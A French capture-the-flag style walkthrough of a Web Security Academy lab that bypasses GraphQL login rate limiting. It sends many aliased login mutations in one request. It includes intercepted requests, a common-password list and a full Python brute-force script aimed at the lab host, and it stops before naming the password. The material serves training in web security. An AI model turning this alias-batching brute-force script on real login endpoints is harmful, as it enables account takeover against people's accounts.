Contournement de la protection anti-brute-force en GraphQL

Bypassing GraphQL brute force protections

Lab: Bypassing GraphQL brute force protections | Web Security AcademyWebSecAcademy

Contexte du lab

Le formulaire de connexion du lab s’appuie sur une API GraphQL avec un rate limiter : après plusieurs tentatives incorrectes, l’endpoint renvoie une erreur indiquant qu’il faut attendre (ex. 1 minute) avant de réessayer.

Objectif : bruteforcer le login pour se connecter en tant que carlos, en utilisant la liste de mots de passe fournie par les labs d’authentification.

{
  "query": "\nquery getBlogSummaries {\n    getAllBlogPosts {\n        image\n        title\n        summary\n        id\n    }\n}",
  "operationName": "getBlogSummaries"
}

1) Observation de la requête GraphQL

En interceptant la connexion, on récupère une mutation du type :

{
  "query": "\n    mutation login($input: LoginInput!) {\n        login(input: $input) {\n            token\n            success\n        }\n    }",
  "operationName": "login",
  "variables": {
    "input": {
      "username": "carlos",
      "password": "test"
    }
  }
}

Après trop d’essais incorrects, l’API répond par une erreur de limitation :

{
  "errors": [
    {
      "path": [
        "login"
      ],
      "extensions": {
        "message": "You have made too many incorrect login attempts. Please try again in 1 minute(s)."
      },
      "locations": [
        {
          "line": 3,
          "column": 9
        }
      ],
      "message": "Exception while fetching data (/login) : You have made too many incorrect login attempts. Please try again in 1 minute(s)."
    }
  ],
  "data": {
    "login": null
  }
}

2) Pourquoi “multiplier les champs” ne marche pas tel quel

Une idée naturelle est d’envoyer plusieurs appels login dans une seule mutation.

Authentication lab passwords

123456 password 12345678 qwerty 123456789 12345 1234 111111 1234567 dragon 123123 baseball abc123 football monkey letmein shadow master 666666 qwertyuiop 123321 mustang 1234567890 michael 654321 superman 1qaz2wsx 7777777 121212 000000 qazwsx 123qwe killer trustno1 jordan jennifer zxcvbnm asdfgh hunter buster soccer harley batman andrew tigger sunshine iloveyou 2000 charlie robert thomas hockey ranger daniel starwars klaster 112233 george computer michelle jessica pepper 1111 zxcvbn 555555 11111111 131313 freedom 777777 pass maggie 159753 aaaaaa ginger princess joshua cheese amanda summer love ashley nicole chelsea biteme matthew access yankees 987654321 dallas austin thunder taylor matrix mobilemail mom monitor monitoring montana moon moscow

Mais si on répète le même champ sans distinction, GraphQL le refuse car les champs seraient ambigus (même nom au même niveau).

 mutation login($input: LoginInput!) {
        login(input: $input) {
            token
            success
        }
    }

Exemple non valide (structure incorrecte / collision de champs) :

mutation login {
  login(input: { username: "carlos", password: "test" }) {
    token
    success
  }
}

mutation{
  login(input: { username: "carlos", password: "test" }) {
    token
    success
  }
}
  login(input: { username: "carlos", password: "hack" }) {
    token
    success
  }
}

3) Contournement : utiliser des aliases

GraphQL permet de renommer chaque appel grâce aux aliases. Ainsi, on peut exécuter plusieurs tentatives de login dans une seule requête HTTP, ce qui réduit l’impact du rate limit “par requête”.

Exemple valide :

mutation login{

  loginTest: login(input: { username: "carlos", password: "test" }) {

    token

    success

  }



  loginHack: login(input: { username: "carlos", password: "hack" }) {

    token

    success

  }

}

Résultat : l’API traite plusieurs essais en une seule “fenêtre” côté rate limiter.

4) Automatisation (approche script)

Principe :

• Construire mutation login { ... }

• Ajouter une ligne par mot de passe :

  • login{i}: login(input: { username: "carlos", password: "..." }) { token success }

• Envoyer la requête

• Parcourir la réponse data.login{i} pour trouver success: true

import requests
import time

url = "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/graphql/v1"
headers = {
    "Content-Type": "application/json",
    "Cookie": "session=JS5JG4wreF5dGV62An3DXhBbLN1Z3Hch",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0",
    "Referer": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net/login",
    "Origin": "https://0a4b00ea04b4e78b82865172004a00ac.web-security-academy.net"
}

passwords = ["123456", "password", "12345678", "qwerty", "123456789", "12345", "1234", "111111", "1234567", "dragon", "123123", "baseball", "abc123", "football", "monkey", "letmein", "shadow", "master", "666666", "qwertyuiop", "123321", "mustang", "1234567890", "michael", "654321", "superman", "1qaz2wsx", "7777777", "121212", "000000", "qazwsx", "123qwe", "killer", "trustno1", "jordan", "jennifer", "zxcvbnm", "asdfgh", "hunter", "buster", "soccer", "harley", "batman", "andrew", "tigger", "sunshine", "iloveyou", "2000", "charlie", "robert", "thomas", "hockey", "ranger", "daniel", "starwars", "klaster", "112233", "george", "computer", "michelle", "jessica", "pepper", "1111", "zxcvbn", "555555", "11111111", "131313", "freedom", "777777", "pass", "maggie", "159753", "aaaaaa", "ginger", "princess", "joshua", "cheese", "amanda", "summer", "love", "ashley", "nicole", "chelsea", "biteme", "matthew", "access", "yankees", "987654321", "dallas", "austin", "thunder", "taylor", "matrix", "mobilemail", "mom", "monitor", "monitoring", "montana", "moon", "moscow"]

def brute_force_all_at_once():
    print("[*] Creating GraphQL query with all passwords...")
    
    query = "mutation login {\n"
    for i, pwd in enumerate(passwords):
        query += f'  login{i}: login(input: {{ username: "carlos", password: "{pwd}" }}) {{\n    token\n    success\n  }}\n'
    query += "}"
    
    print(f"[*] Query length: {len(query)} characters")
    print(f"[*] Testing {len(passwords)} passwords at once...")
    
    payload = {"query": query}
    
    start_time = time.time()
    
    try:
        response = requests.post(url, json=payload, headers=headers, timeout=10)
        
        if response.status_code == 200:
            data = response.json()
            
            for i, pwd in enumerate(passwords):
                result = data.get("data", {}).get(f"login{i}")
                if result and result.get("success"):
                    print(f"\n[+] SUCCESS!")
                    print(f"[+] Username: carlos")
                    print(f"[+] Password: {pwd}")
                    print(f"[+] Token: {result.get('token')}")
                    print(f"[+] Time: {time.time() - start_time:.2f} seconds")
                    return True
            else:
                print("[-] Password not found in the list")
        else:
            print(f"[-] HTTP Error: {response.status_code}")
            print(response.text[:200])
            
    except requests.exceptions.RequestException as e:
        print(f"[-] Request failed: {e}")
    
    return False

if __name__ == "__main__":
    print("=" * 50)
    print("GraphQL Brute Force Attack")
    print("Using aliases to bypass rate limiting")
    print("=" * 50)
    
    if brute_force_all_at_once():
        print("\n[+] Attack completed successfully!")
    else:
        print("\n[-] Attack failed")

Le mot de passe trouvé pour carlos est :